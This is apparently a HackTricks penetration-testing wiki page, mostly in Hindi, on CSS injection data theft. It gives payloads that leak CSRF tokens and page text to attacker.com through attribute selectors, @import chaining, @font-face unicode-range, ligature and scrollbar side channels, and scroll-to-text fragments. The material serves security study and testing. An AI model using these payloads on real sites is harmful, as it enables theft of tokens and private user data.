CSS Injection

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

CSS Injection

Attribute Selector

CSS चयनकर्ता input तत्व के name और value विशेषताओं के मानों से मेल खाने के लिए बनाए जाते हैं। यदि इनपुट तत्व की मान विशेषता एक विशिष्ट वर्ण से शुरू होती है, तो एक पूर्वनिर्धारित बाहरी संसाधन लोड किया जाता है:

input[name=csrf][value^=a]{
background-image: url(https://attacker.com/exfil/a);
}
input[name=csrf][value^=b]{
background-image: url(https://attacker.com/exfil/b);
}
/* ... */
input[name=csrf][value^=9]{
background-image: url(https://attacker.com/exfil/9);
}

हालांकि, इस दृष्टिकोण को छिपे हुए इनपुट तत्वों (type="hidden") के साथ काम करते समय एक सीमा का सामना करना पड़ता है क्योंकि छिपे हुए तत्व पृष्ठभूमियों को लोड नहीं करते हैं।

छिपे हुए तत्वों के लिए बाईपास

इस सीमा को पार करने के लिए, आप ~ सामान्य भाई संयोजक का उपयोग करके एक बाद के भाई तत्व को लक्षित कर सकते हैं। CSS नियम तब सभी भाई तत्वों पर लागू होता है जो छिपे हुए इनपुट तत्व के बाद आते हैं, जिससे पृष्ठभूमि छवि लोड होती है:

input[name=csrf][value^=csrF] ~ * {
background-image: url(https://attacker.com/exfil/csrF);
}

एक व्यावहारिक उदाहरण इस तकनीक का लाभ उठाने का प्रदान किए गए कोड स्निपेट में विस्तृत है। आप इसे यहाँ देख सकते हैं।

CSS इंजेक्शन के लिए पूर्वापेक्षाएँ

CSS इंजेक्शन तकनीक प्रभावी होने के लिए, कुछ शर्तें पूरी होनी चाहिए:

  1. पेलोड लंबाई: CSS इंजेक्शन वेक्टर को पर्याप्त लंबे पेलोड का समर्थन करना चाहिए ताकि तैयार किए गए चयनकर्ताओं को समायोजित किया जा सके।

  2. CSS पुनर्मूल्यांकन: आपके पास पृष्ठ को फ्रेम करने की क्षमता होनी चाहिए, जो नए उत्पन्न पेलोड के साथ CSS के पुनर्मूल्यांकन को ट्रिगर करने के लिए आवश्यक है।

  3. बाहरी संसाधन: यह तकनीक बाहरी होस्ट किए गए चित्रों का उपयोग करने की क्षमता मानती है। यह साइट की सामग्री सुरक्षा नीति (CSP) द्वारा प्रतिबंधित हो सकता है।

ब्लाइंड एट्रिब्यूट सेलेक्टर

जैसा कि इस पोस्ट में समझाया गया है, चयनकर्ताओं :has और :not को मिलाकर सामग्री की पहचान करना संभव है, यहां तक कि अंधे तत्वों से भी। यह तब बहुत उपयोगी होता है जब आपको यह नहीं पता होता कि CSS इंजेक्शन लोड करने वाले वेब पृष्ठ के अंदर क्या है। यह चयनकर्ताओं का उपयोग करके समान प्रकार के कई ब्लॉकों से जानकारी निकालना भी संभव है जैसे कि:

<style>
html:has(input[name^="m"]):not(input[name="mytoken"]) {
background:url(/m);
}
</style>
<input name=mytoken value=1337>
<input name=myname value=gareth>

इसका संयोजन निम्नलिखित @import तकनीक के साथ करने पर, यह संभव है कि CSS इंजेक्शन के माध्यम से अंधे पृष्ठों से बहुत सारी जानकारी निकाली जाए blind-css-exfiltration.

@import

पिछली तकनीक में कुछ कमियाँ हैं, आवश्यकताओं की जांच करें। आपको या तो शिकार पर कई लिंक भेजने में सक्षम होना चाहिए, या आपको CSS इंजेक्शन संवेदनशील पृष्ठ को iframe करने में सक्षम होना चाहिए

हालांकि, एक और चतुर तकनीक है जो CSS @import का उपयोग करके तकनीक की गुणवत्ता में सुधार करती है।

यह पहली बार Pepe Vila द्वारा दिखाया गया था और यह इस तरह काम करता है:

एक ही पृष्ठ को बार-बार विभिन्न पेलोड के साथ लोड करने के बजाय (जैसे पिछले में), हम पृष्ठ को केवल एक बार और केवल हमलावर के सर्वर के लिए एक आयात के साथ लोड करने जा रहे हैं (यह शिकार को भेजने के लिए पेलोड है):

@import url('//attacker.com:5001/start?');
  1. आयात हमलावरों से कुछ CSS स्क्रिप्ट प्राप्त करने जा रहा है और ब्राउज़र इसे लोड करेगा

  2. CSS स्क्रिप्ट का पहला भाग जो हमलावर भेजेगा वह है फिर से हमलावरों के सर्वर के लिए एक और @import

  3. हमलावरों का सर्वर अभी इस अनुरोध का उत्तर नहीं देगा, क्योंकि हम कुछ अक्षरों को लीक करना चाहते हैं और फिर इस आयात का उत्तर लीक करने के लिए पेलोड के साथ देना चाहते हैं।

  4. पेलोड का दूसरा और बड़ा भाग एक एट्रिब्यूट सेलेक्टर लीक पेलोड होगा।

  5. यह हमलावरों के सर्वर को गुप्त का पहला अक्षर और अंतिम अक्षर भेजेगा।

  6. एक बार जब हमलावरों के सर्वर ने गुप्त का पहला और अंतिम अक्षर प्राप्त कर लिया, तो यह चरण 2 में अनुरोधित आयात का उत्तर देगा

  7. उत्तर चरण 2, 3 और 4 के समान होगा, लेकिन इस बार यह गुप्त का दूसरा अक्षर और फिर अंतिम से पहले खोजने की कोशिश करेगा।

हमलावर इस लूप का पालन करेगा जब तक कि वह गुप्त को पूरी तरह से लीक करने में सफल नहीं हो जाता

आप मूल पेपे विला का कोड इस परिष्कृत करने के लिए यहाँ पा सकते हैं या आप लगभग समान कोड लेकिन टिप्पणी के साथ यहाँ पा सकते हैं

स्क्रिप्ट हर बार 2 अक्षरों को खोजने की कोशिश करेगी (शुरुआत से और अंत से) क्योंकि एट्रिब्यूट सेलेक्टर ऐसा करने की अनुमति देता है:

/* value^=  to match the beggining of the value*/
input[value^="0"]{--s0:url(http://localhost:5001/leak?pre=0)}

/* value$=  to match the ending of the value*/
input[value$="f"]{--e0:url(http://localhost:5001/leak?post=f)}

यह स्क्रिप्ट को रहस्य को तेजी से लीक करने की अनुमति देता है।

कभी-कभी स्क्रिप्ट सही तरीके से पहचान नहीं पाती है कि खोजा गया उपसर्ग + प्रत्यय पहले से ही पूरा ध्वज है और यह आगे (उपसर्ग में) और पीछे (प्रत्यय में) जारी रखेगी और किसी बिंदु पर यह लटक जाएगी। कोई चिंता नहीं, बस आउटपुट की जांच करें क्योंकि आप वहां ध्वज देख सकते हैं

अन्य चयनकर्ता

CSS चयनकर्ताओं के साथ DOM भागों तक पहुँचने के अन्य तरीके:

  • .class-to-search:nth-child(2): यह DOM में "class-to-search" के साथ दूसरे आइटम को खोजेगा।

  • :empty चयनकर्ता: उदाहरण के लिए इस लेख** में उपयोग किया गया है:**

[role^="img"][aria-label="1"]:empty { background-image: url("YOUR_SERVER_URL?1"); }

संदर्भ: CSS आधारित हमला: @font-face के unicode-range का दुरुपयोग, त्रुटि-आधारित XS-Search PoC @terjanq द्वारा

कुल मिलाकर इरादा है कि एक नियंत्रित एंडपॉइंट से एक कस्टम फ़ॉन्ट का उपयोग करें और सुनिश्चित करें कि पाठ (इस मामले में, 'A') केवल तभी इस फ़ॉन्ट के साथ प्रदर्शित होता है जब निर्दिष्ट संसाधन (favicon.ico) लोड नहीं किया जा सकता है

<!DOCTYPE html>
<html>
<head>
<style>
@font-face{
font-family: poc;
src: url(http://attacker.com/?leak);
unicode-range:U+0041;
}

#poc0{
font-family: 'poc';
}

</style>
</head>
<body>

<object id="poc0" data="http://192.168.0.1/favicon.ico">A</object>
</body>
</html>
  1. कस्टम फ़ॉन्ट का उपयोग:

  • एक कस्टम फ़ॉन्ट को <head> अनुभाग में <style> टैग के भीतर @font-face नियम का उपयोग करके परिभाषित किया गया है।

  • फ़ॉन्ट का नाम poc है और इसे एक बाहरी एंडपॉइंट (http://attacker.com/?leak) से लाया गया है।

  • unicode-range प्रॉपर्टी को U+0041 पर सेट किया गया है, जो विशेष यूनिकोड कैरेक्टर 'A' को लक्षित करता है।

  1. फॉलबैक टेक्स्ट के साथ ऑब्जेक्ट तत्व:

  • <body> अनुभाग में id="poc0" के साथ एक <object> तत्व बनाया गया है। यह तत्व http://192.168.0.1/favicon.ico से एक संसाधन लोड करने की कोशिश करता है।

  • इस तत्व के लिए font-family को <style> अनुभाग में परिभाषित 'poc' पर सेट किया गया है।

  • यदि संसाधन (favicon.ico) लोड करने में विफल रहता है, तो <object> टैग के भीतर फॉलबैक सामग्री (अक्षर 'A') प्रदर्शित होती है।

  • यदि बाहरी संसाधन लोड नहीं किया जा सकता है, तो फॉलबैक सामग्री ('A') कस्टम फ़ॉन्ट poc का उपयोग करके प्रदर्शित की जाएगी।

स्क्रॉल-टू-टेक्स्ट फ़्रैगमेंट की स्टाइलिंग

:target प्सेउडो-क्लास का उपयोग एक तत्व का चयन करने के लिए किया जाता है जिसे URL फ़्रैगमेंट द्वारा लक्षित किया गया है, जैसा कि CSS सेलेक्टर्स लेवल 4 स्पेसिफिकेशन में निर्दिष्ट किया गया है। यह समझना महत्वपूर्ण है कि ::target-text किसी भी तत्व से मेल नहीं खाता जब तक कि टेक्स्ट को स्पष्ट रूप से फ़्रैगमेंट द्वारा लक्षित नहीं किया गया हो।

एक सुरक्षा चिंता तब उत्पन्न होती है जब हमलावर स्क्रॉल-टू-टेक्स्ट फ़्रैगमेंट फ़ीचर का लाभ उठाते हैं, जिससे उन्हें HTML इंजेक्शन के माध्यम से अपने सर्वर से एक संसाधन लोड करके किसी वेबपेज पर विशिष्ट टेक्स्ट की उपस्थिति की पुष्टि करने की अनुमति मिलती है। यह विधि इस तरह के CSS नियम को इंजेक्ट करने में शामिल है:

:target::before { content : url(target.png) }

ऐसे परिदृश्यों में, यदि पृष्ठ पर "Administrator" पाठ मौजूद है, तो संसाधन target.png सर्वर से अनुरोध किया जाता है, जो पाठ की उपस्थिति को इंगित करता है। इस हमले का एक उदाहरण एक विशेष रूप से तैयार किए गए URL के माध्यम से निष्पादित किया जा सकता है जो इंजेक्टेड CSS को Scroll-to-text अंश के साथ एम्बेड करता है:

http://127.0.0.1:8081/poc1.php?note=%3Cstyle%3E:target::before%20{%20content%20:%20url(http://attackers-domain/?confirmed_existence_of_Administrator_username)%20}%3C/style%3E#:~:text=Administrator

यहाँ, हमला HTML इंजेक्शन का उपयोग करके CSS कोड को संचारित करने के लिए हेरफेर करता है, जिसका लक्ष्य विशेष पाठ "Administrator" है, जो Scroll-to-text fragment (#:~:text=Administrator) के माध्यम से है। यदि पाठ पाया जाता है, तो निर्दिष्ट संसाधन लोड होता है, अनजाने में हमलावर को इसकी उपस्थिति का संकेत देता है।

निवारण के लिए, निम्नलिखित बिंदुओं पर ध्यान दिया जाना चाहिए:

  1. संकीर्ण STTF मिलान: Scroll-to-text Fragment (STTF) केवल शब्दों या वाक्यों से मेल खाने के लिए डिज़ाइन किया गया है, जिससे यह मनमाने रहस्यों या टोकनों को लीक करने की क्षमता को सीमित करता है।

  2. शीर्ष-स्तरीय ब्राउज़िंग संदर्भों तक सीमित: STTF केवल शीर्ष-स्तरीय ब्राउज़िंग संदर्भों में कार्य करता है और iframes के भीतर कार्य नहीं करता, जिससे किसी भी शोषण के प्रयास को उपयोगकर्ता के लिए अधिक ध्यान देने योग्य बना देता है।

  3. उपयोगकर्ता सक्रियण की आवश्यकता: STTF को कार्य करने के लिए एक उपयोगकर्ता-क्रियान्वयन इशारा की आवश्यकता होती है, जिसका अर्थ है कि शोषण केवल उपयोगकर्ता-प्रेरित नेविगेशन के माध्यम से संभव है। यह आवश्यकता हमलों के स्वचालित होने के जोखिम को काफी कम करती है बिना उपयोगकर्ता की बातचीत के। फिर भी, ब्लॉग पोस्ट के लेखक ने कुछ विशिष्ट स्थितियों और बायपास (जैसे, सामाजिक इंजीनियरिंग, प्रचलित ब्राउज़र एक्सटेंशन के साथ बातचीत) का उल्लेख किया है जो हमले के स्वचालन को आसान बना सकते हैं।

इन तंत्रों और संभावित कमजोरियों के प्रति जागरूकता वेब सुरक्षा बनाए रखने और ऐसे शोषणकारी तकनीकों के खिलाफ सुरक्षा के लिए कुंजी है।

अधिक जानकारी के लिए मूल रिपोर्ट देखें: https://www.secforce.com/blog/new-technique-of-stealing-data-using-css-and-scroll-to-text-fragment-feature/

आप यहाँ CTF के लिए इस तकनीक का उपयोग करते हुए एक शोषण देख सकते हैं.

@font-face / unicode-range

आप विशिष्ट unicode मानों के लिए बाहरी फ़ॉन्ट निर्दिष्ट कर सकते हैं जो केवल तब इकट्ठा किए जाएंगे जब वे unicode मान पृष्ठ में मौजूद हों। उदाहरण के लिए:

<style>
@font-face{
font-family:poc;
src: url(http://attacker.example.com/?A); /* fetched */
unicode-range:U+0041;
}
@font-face{
font-family:poc;
src: url(http://attacker.example.com/?B); /* fetched too */
unicode-range:U+0042;
}
@font-face{
font-family:poc;
src: url(http://attacker.example.com/?C); /* not fetched */
unicode-range:U+0043;
}
#sensitive-information{
font-family:poc;
}
</style>

<p id="sensitive-information">AB</p>htm

जब आप इस पृष्ठ तक पहुँचते हैं, तो Chrome और Firefox "?A" और "?B" लाते हैं क्योंकि संवेदनशील-जानकारी के टेक्स्ट नोड में "A" और "B" वर्ण होते हैं। लेकिन Chrome और Firefox "?C" नहीं लाते क्योंकि इसमें "C" नहीं है। इसका मतलब है कि हम "A" और "B" को पढ़ने में सक्षम रहे हैं।

टेक्स्ट नोड एक्सफिल्ट्रेशन (I): लिगेचर्स

संदर्भ: Wykradanie danych w świetnym stylu – czyli jak wykorzystać CSS-y do ataków na webaplikację

विवेचित तकनीक में फ़ॉन्ट लिगेचर्स का उपयोग करके एक नोड से टेक्स्ट निकालना और चौड़ाई में परिवर्तनों की निगरानी करना शामिल है। प्रक्रिया में कई चरण शामिल हैं:

  1. कस्टम फ़ॉन्ट्स का निर्माण:

  • SVG फ़ॉन्ट्स को ऐसे ग्लिफ़ के साथ तैयार किया जाता है जिसमें horiz-adv-x विशेषता होती है, जो दो वर्णों के अनुक्रम का प्रतिनिधित्व करने वाले ग्लिफ़ के लिए बड़ी चौड़ाई सेट करती है।

  • उदाहरण SVG ग्लिफ़: <glyph unicode="XY" horiz-adv-x="8000" d="M1 0z"/>, जहाँ "XY" दो वर्णों के अनुक्रम को दर्शाता है।

  • इन फ़ॉन्ट्स को फिर fontforge का उपयोग करके woff प्रारूप में परिवर्तित किया जाता है।

  1. चौड़ाई परिवर्तनों का पता लगाना:

  • CSS का उपयोग यह सुनिश्चित करने के लिए किया जाता है कि टेक्स्ट लपेटा न जाए (white-space: nowrap) और स्क्रॉलबार शैली को अनुकूलित किया जाए।

  • एक विशिष्ट लिगेचर, और इसलिए एक विशिष्ट वर्ण अनुक्रम, टेक्स्ट में मौजूद होने का संकेत (ओरैकल) देने के लिए एक अलग रूप से स्टाइल किया गया क्षैतिज स्क्रॉलबार प्रकट होता है।

  • शामिल CSS:

body { white-space: nowrap };
body::-webkit-scrollbar { background: blue; }
body::-webkit-scrollbar:horizontal { background: url(http://attacker.com/?leak); }
  1. शोषण प्रक्रिया:

  • चरण 1: बड़े चौड़ाई वाले वर्णों के जोड़ों के लिए फ़ॉन्ट बनाए जाते हैं।

  • चरण 2: यह पता लगाने के लिए स्क्रॉलबार-आधारित चाल का उपयोग किया जाता है कि कब बड़ा चौड़ाई वाला ग्लिफ़ (एक वर्ण जोड़ी के लिए लिगेचर) प्रस्तुत किया गया है, जो वर्ण अनुक्रम की उपस्थिति को इंगित करता है।

  • चरण 3: एक लिगेचर का पता लगाने पर, तीन-वर्ण अनुक्रम का प्रतिनिधित्व करने वाले नए ग्लिफ़ उत्पन्न किए जाते हैं, जिसमें पता लगाए गए जोड़े को शामिल किया जाता है और एक पूर्ववर्ती या उत्तरवर्ती वर्ण जोड़ा जाता है।

  • चरण 4: तीन-वर्ण लिगेचर का पता लगाया जाता है।

  • चरण 5: प्रक्रिया दोहराई जाती है, धीरे-धीरे पूरे टेक्स्ट को प्रकट करती है।

  1. अनुकूलन:

  • <meta refresh=... का वर्तमान प्रारंभिककरण विधि अनुकूल नहीं है।

  • एक अधिक कुशल दृष्टिकोण CSS @import चाल को शामिल कर सकता है, जो शोषण के प्रदर्शन को बढ़ाता है।

टेक्स्ट नोड एक्सफिल्ट्रेशन (II): डिफ़ॉल्ट फ़ॉन्ट के साथ charset लीक करना (बाहरी संपत्तियों की आवश्यकता नहीं)

संदर्भ: PoC using Comic Sans by @Cgvwzq & @Terjanq

यह चाल इस Slackers थ्रेड में जारी की गई थी। टेक्स्ट नोड में उपयोग किया गया charset ब्राउज़र में स्थापित डिफ़ॉल्ट फ़ॉन्ट्स का उपयोग करके लीक किया जा सकता है: बाहरी -या कस्टम- फ़ॉन्ट्स की आवश्यकता नहीं है।

यह अवधारणा एक एनीमेशन का उपयोग करके एक div की चौड़ाई को क्रमिक रूप से बढ़ाने के चारों ओर घूमती है, जिससे एक समय में एक वर्ण 'सफिक्स' भाग से 'प्रिफिक्स' भाग में संक्रमण कर सकता है। यह प्रक्रिया टेक्स्ट को दो भागों में प्रभावी रूप से विभाजित करती है:

  1. प्रिफिक्स: प्रारंभिक पंक्ति।

  2. सफिक्स: अगली पंक्ति(याँ)।

पात्रों के संक्रमण चरण इस प्रकार दिखाई देंगे:

C ADB

CA DB

CAD B

CADB

इस संक्रमण के दौरान, unicode-range ट्रिक का उपयोग प्रत्येक नए वर्ण की पहचान करने के लिए किया जाता है जब वह प्रिफिक्स में शामिल होता है। यह Comic Sans फ़ॉन्ट को स्विच करके प्राप्त किया जाता है, जो डिफ़ॉल्ट फ़ॉन्ट की तुलना में उल्लेखनीय रूप से ऊँचा होता है, जिससे एक ऊर्ध्वाधर स्क्रॉलबार सक्रिय होता है। इस स्क्रॉलबार की उपस्थिति अप्रत्यक्ष रूप से प्रिफिक्स में एक नए वर्ण की उपस्थिति को प्रकट करती है।

हालांकि यह विधि अद्वितीय वर्णों का पता लगाने की अनुमति देती है जब वे प्रकट होते हैं, यह यह निर्दिष्ट नहीं करती है कि कौन सा वर्ण दोहराया गया है, केवल यह कि एक पुनरावृत्ति हुई है।

बुनियादी रूप से, unicode-range का उपयोग एक वर्ण का पता लगाने के लिए किया जाता है, लेकिन चूंकि हम एक बाहरी फ़ॉन्ट लोड नहीं करना चाहते, हमें एक और तरीका खोजना होगा। जब वर्ण पाया जाता है, तो इसे पूर्व-स्थापित Comic Sans फ़ॉन्ट दिया जाता है, जो वर्ण को बड़ा बनाता है और स्क्रॉल बार को सक्रिय करता है जो पाए गए वर्ण को लीक करेगा।

PoC से निकाला गया कोड देखें:

/* comic sans is high (lol) and causes a vertical overflow */
@font-face{font-family:has_A;src:local('Comic Sans MS');unicode-range:U+41;font-style:monospace;}
@font-face{font-family:has_B;src:local('Comic Sans MS');unicode-range:U+42;font-style:monospace;}
@font-face{font-family:has_C;src:local('Comic Sans MS');unicode-range:U+43;font-style:monospace;}
@font-face{font-family:has_D;src:local('Comic Sans MS');unicode-range:U+44;font-style:monospace;}
@font-face{font-family:has_E;src:local('Comic Sans MS');unicode-range:U+45;font-style:monospace;}
@font-face{font-family:has_F;src:local('Comic Sans MS');unicode-range:U+46;font-style:monospace;}
@font-face{font-family:has_G;src:local('Comic Sans MS');unicode-range:U+47;font-style:monospace;}
@font-face{font-family:has_H;src:local('Comic Sans MS');unicode-range:U+48;font-style:monospace;}
@font-face{font-family:has_I;src:local('Comic Sans MS');unicode-range:U+49;font-style:monospace;}
@font-face{font-family:has_J;src:local('Comic Sans MS');unicode-range:U+4a;font-style:monospace;}
@font-face{font-family:has_K;src:local('Comic Sans MS');unicode-range:U+4b;font-style:monospace;}
@font-face{font-family:has_L;src:local('Comic Sans MS');unicode-range:U+4c;font-style:monospace;}
@font-face{font-family:has_M;src:local('Comic Sans MS');unicode-range:U+4d;font-style:monospace;}
@font-face{font-family:has_N;src:local('Comic Sans MS');unicode-range:U+4e;font-style:monospace;}
@font-face{font-family:has_O;src:local('Comic Sans MS');unicode-range:U+4f;font-style:monospace;}
@font-face{font-family:has_P;src:local('Comic Sans MS');unicode-range:U+50;font-style:monospace;}
@font-face{font-family:has_Q;src:local('Comic Sans MS');unicode-range:U+51;font-style:monospace;}
@font-face{font-family:has_R;src:local('Comic Sans MS');unicode-range:U+52;font-style:monospace;}
@font-face{font-family:has_S;src:local('Comic Sans MS');unicode-range:U+53;font-style:monospace;}
@font-face{font-family:has_T;src:local('Comic Sans MS');unicode-range:U+54;font-style:monospace;}
@font-face{font-family:has_U;src:local('Comic Sans MS');unicode-range:U+55;font-style:monospace;}
@font-face{font-family:has_V;src:local('Comic Sans MS');unicode-range:U+56;font-style:monospace;}
@font-face{font-family:has_W;src:local('Comic Sans MS');unicode-range:U+57;font-style:monospace;}
@font-face{font-family:has_X;src:local('Comic Sans MS');unicode-range:U+58;font-style:monospace;}
@font-face{font-family:has_Y;src:local('Comic Sans MS');unicode-range:U+59;font-style:monospace;}
@font-face{font-family:has_Z;src:local('Comic Sans MS');unicode-range:U+5a;font-style:monospace;}
@font-face{font-family:has_0;src:local('Comic Sans MS');unicode-range:U+30;font-style:monospace;}
@font-face{font-family:has_1;src:local('Comic Sans MS');unicode-range:U+31;font-style:monospace;}
@font-face{font-family:has_2;src:local('Comic Sans MS');unicode-range:U+32;font-style:monospace;}
@font-face{font-family:has_3;src:local('Comic Sans MS');unicode-range:U+33;font-style:monospace;}
@font-face{font-family:has_4;src:local('Comic Sans MS');unicode-range:U+34;font-style:monospace;}
@font-face{font-family:has_5;src:local('Comic Sans MS');unicode-range:U+35;font-style:monospace;}
@font-face{font-family:has_6;src:local('Comic Sans MS');unicode-range:U+36;font-style:monospace;}
@font-face{font-family:has_7;src:local('Comic Sans MS');unicode-range:U+37;font-style:monospace;}
@font-face{font-family:has_8;src:local('Comic Sans MS');unicode-range:U+38;font-style:monospace;}
@font-face{font-family:has_9;src:local('Comic Sans MS');unicode-range:U+39;font-style:monospace;}
@font-face{font-family:rest;src: local('Courier New');font-style:monospace;unicode-range:U+0-10FFFF}

div.leak {
overflow-y: auto; /* leak channel */
overflow-x: hidden; /* remove false positives */
height: 40px; /* comic sans capitals exceed this height */
font-size: 0px; /* make suffix invisible */
letter-spacing: 0px; /* separation */
word-break: break-all; /* small width split words in lines */
font-family: rest; /* default */
background: grey; /* default */
width: 0px; /* initial value */
animation: loop step-end 200s 0s, trychar step-end 2s 0s; /* animations: trychar duration must be 1/100th of loop duration */
animation-iteration-count: 1, infinite; /* single width iteration, repeat trychar one per width increase (or infinite) */
}

div.leak::first-line{
font-size: 30px; /* prefix is visible in first line */
text-transform: uppercase; /* only capital letters leak */
}

/* iterate over all chars */
@keyframes trychar {
0% { font-family: rest; } /* delay for width change */
5% { font-family: has_A, rest; --leak: url(?a); }
6% { font-family: rest; }
10% { font-family: has_B, rest; --leak: url(?b); }
11% { font-family: rest; }
15% { font-family: has_C, rest; --leak: url(?c); }
16% { font-family: rest }
20% { font-family: has_D, rest; --leak: url(?d); }
21% { font-family: rest; }
25% { font-family: has_E, rest; --leak: url(?e); }
26% { font-family: rest; }
30% { font-family: has_F, rest; --leak: url(?f); }
31% { font-family: rest; }
35% { font-family: has_G, rest; --leak: url(?g); }
36% { font-family: rest; }
40% { font-family: has_H, rest; --leak: url(?h); }
41% { font-family: rest }
45% { font-family: has_I, rest; --leak: url(?i); }
46% { font-family: rest; }
50% { font-family: has_J, rest; --leak: url(?j); }
51% { font-family: rest; }
55% { font-family: has_K, rest; --leak: url(?k); }
56% { font-family: rest; }
60% { font-family: has_L, rest; --leak: url(?l); }
61% { font-family: rest; }
65% { font-family: has_M, rest; --leak: url(?m); }
66% { font-family: rest; }
70% { font-family: has_N, rest; --leak: url(?n); }
71% { font-family: rest; }
75% { font-family: has_O, rest; --leak: url(?o); }
76% { font-family: rest; }
80% { font-family: has_P, rest; --leak: url(?p); }
81% { font-family: rest; }
85% { font-family: has_Q, rest; --leak: url(?q); }
86% { font-family: rest; }
90% { font-family: has_R, rest; --leak: url(?r); }
91% { font-family: rest; }
95% { font-family: has_S, rest; --leak: url(?s); }
96% { font-family: rest; }
}

/* increase width char by char, i.e. add new char to prefix */
@keyframes loop {
0% { width: 0px }
1% { width: 20px }
2% { width: 40px }
3% { width: 60px }
4% { width: 80px }
4% { width: 100px }
5% { width: 120px }
6% { width: 140px }
7% { width: 0px }
}

div::-webkit-scrollbar {
background: blue;
}

/* side-channel */
div::-webkit-scrollbar:vertical {
background: blue var(--leak);
}

Text node exfiltration (III): charset को छिपाने वाले तत्वों के साथ डिफ़ॉल्ट फ़ॉन्ट द्वारा लीक करना (बाहरी संपत्तियों की आवश्यकता नहीं)

Reference: इसे इस लेख में एक असफल समाधान के रूप में उल्लेखित किया गया है

यह मामला पिछले मामले के बहुत समान है, हालाँकि, इस मामले में विशेष chars को अन्य की तुलना में बड़ा बनाना कुछ छिपाने के लिए है जैसे कि बटन जिसे बॉट द्वारा दबाया नहीं जाना चाहिए या एक छवि जो लोड नहीं होगी। इसलिए हम क्रिया (या क्रिया की कमी) को माप सकते हैं और जान सकते हैं कि क्या पाठ के अंदर एक विशेष char मौजूद है।

Text node exfiltration (III): cache timing द्वारा charset को लीक करना (बाहरी संपत्तियों की आवश्यकता नहीं)

Reference: इसे इस लेख में एक असफल समाधान के रूप में उल्लेखित किया गया है

इस मामले में, हम यह लीक करने की कोशिश कर सकते हैं कि क्या एक char पाठ में है, एक ही मूल से एक नकली फ़ॉन्ट लोड करके:

@font-face {
font-family: "A1";
src: url(/static/bootstrap.min.css?q=1);
unicode-range: U+0041;
}

यदि मेल होता है, तो फॉन्ट /static/bootstrap.min.css?q=1 से लोड होगा। हालांकि यह सफलतापूर्वक लोड नहीं होगा, ब्राउज़र इसे कैश करेगा, और यदि कैश नहीं है, तो 304 नॉट मॉडिफाइड तंत्र है, इसलिए प्रतिक्रिया अन्य चीजों की तुलना में तेज़ होनी चाहिए

हालांकि, यदि कैश की गई प्रतिक्रिया और गैर-कैश की गई प्रतिक्रिया के बीच का समय अंतर पर्याप्त बड़ा नहीं है, तो यह उपयोगी नहीं होगा। उदाहरण के लिए, लेखक ने उल्लेख किया: हालांकि, परीक्षण के बाद, मैंने पाया कि पहली समस्या यह है कि गति में ज्यादा अंतर नहीं है, और दूसरी समस्या यह है कि बॉट disk-cache-size=1 ध्वज का उपयोग करता है, जो वास्तव में विचारशील है।

टेक्स्ट नोड एक्सफिल्ट्रेशन (III): स्थानीय "फॉन्ट" के सैकड़ों को लोड करने के समय द्वारा charset लीक करना (बाहरी संपत्तियों की आवश्यकता नहीं)

संदर्भ: इसे इस लेख में एक असफल समाधान के रूप में उल्लेख किया गया है

इस मामले में आप संकेत दे सकते हैं CSS को एक ही मूल से सैकड़ों नकली फॉन्ट लोड करने के लिए जब मेल होता है। इस तरह आप समय माप सकते हैं जो लगता है और पता लगा सकते हैं कि कोई वर्ण प्रकट होता है या नहीं कुछ इस तरह:

@font-face {
font-family: "A1";
src: url(/static/bootstrap.min.css?q=1),
url(/static/bootstrap.min.css?q=2),
....
url(/static/bootstrap.min.css?q=500);
unicode-range: U+0041;
}

और बॉट का कोड इस तरह दिखता है:

browser.get(url)
WebDriverWait(browser, 30).until(lambda r: r.execute_script('return document.readyState') == 'complete')
time.sleep(30)

तो, यदि फ़ॉन्ट मेल नहीं खाता है, तो बॉट पर जाने पर प्रतिक्रिया समय लगभग 30 सेकंड होने की उम्मीद है। हालाँकि, यदि फ़ॉन्ट मेल खाता है, तो फ़ॉन्ट प्राप्त करने के लिए कई अनुरोध भेजे जाएंगे, जिससे नेटवर्क में निरंतर गतिविधि होगी। परिणामस्वरूप, रोकने की स्थिति को संतुष्ट करने और प्रतिक्रिया प्राप्त करने में अधिक समय लगेगा। इसलिए, प्रतिक्रिया समय का उपयोग यह निर्धारित करने के लिए एक संकेतक के रूप में किया जा सकता है कि क्या फ़ॉन्ट मेल खाता है।

संदर्भ

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

Last updated